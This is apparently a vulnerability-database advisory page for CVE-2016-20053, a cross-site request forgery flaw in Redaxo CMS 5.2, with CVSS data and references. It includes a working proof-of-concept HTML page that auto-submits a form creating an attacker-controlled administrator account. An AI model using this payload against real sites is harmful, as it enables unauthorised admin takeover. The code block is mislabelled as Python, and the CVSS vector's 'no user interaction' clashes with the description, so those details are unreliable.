CVE-2016-20053

Description

Redaxo CMS 5.2 contains a cross-site request forgery vulnerability that allows unauthenticated attackers to create administrative user accounts by tricking authenticated administrators into visiting malicious pages. Attackers can craft HTML forms targeting the users endpoint with hidden fields containing admin credentials and account parameters to add new administrator accounts without user consent.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:redaxo:redaxo:5.2:*:*:*:*:*:*:* - VULNERABLE

Redaxo CMS 5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC Code for CVE-2016-20053 -->
<!-- Usage: Host this file and send the link to an authenticated admin -->
<html>
  <body>
    <form action="http://target-redaxo-url/index.php?page=users/users" method="POST">
      <input type="hidden" name="login" value="attacker" />
      <input type="hidden" name="password" value="p@ssw0rd" />
      <input type="hidden" name="name" value="Evil Admin" />
      <input type="hidden" name="role" value="admin" />
      <input type="hidden" name="status" value="1" />
      <input type="submit" value="Submit Request" />
    </form>
    <script>
      // Auto-submit the form when the page loads
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2016-20053
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2016-20053
[3] CVE Details https://www.cvedetails.com/cve/CVE-2016-20053/
[4] VulDB https://vuldb.com/cve/CVE-2016-20053
[5] https://www.exploit-db.com/exploits/40708
[6] https://www.vulncheck.com/advisories/redaxo-cms-cross-site-request-forgery-via-users-endpoint

Raw JSON Data

JSON

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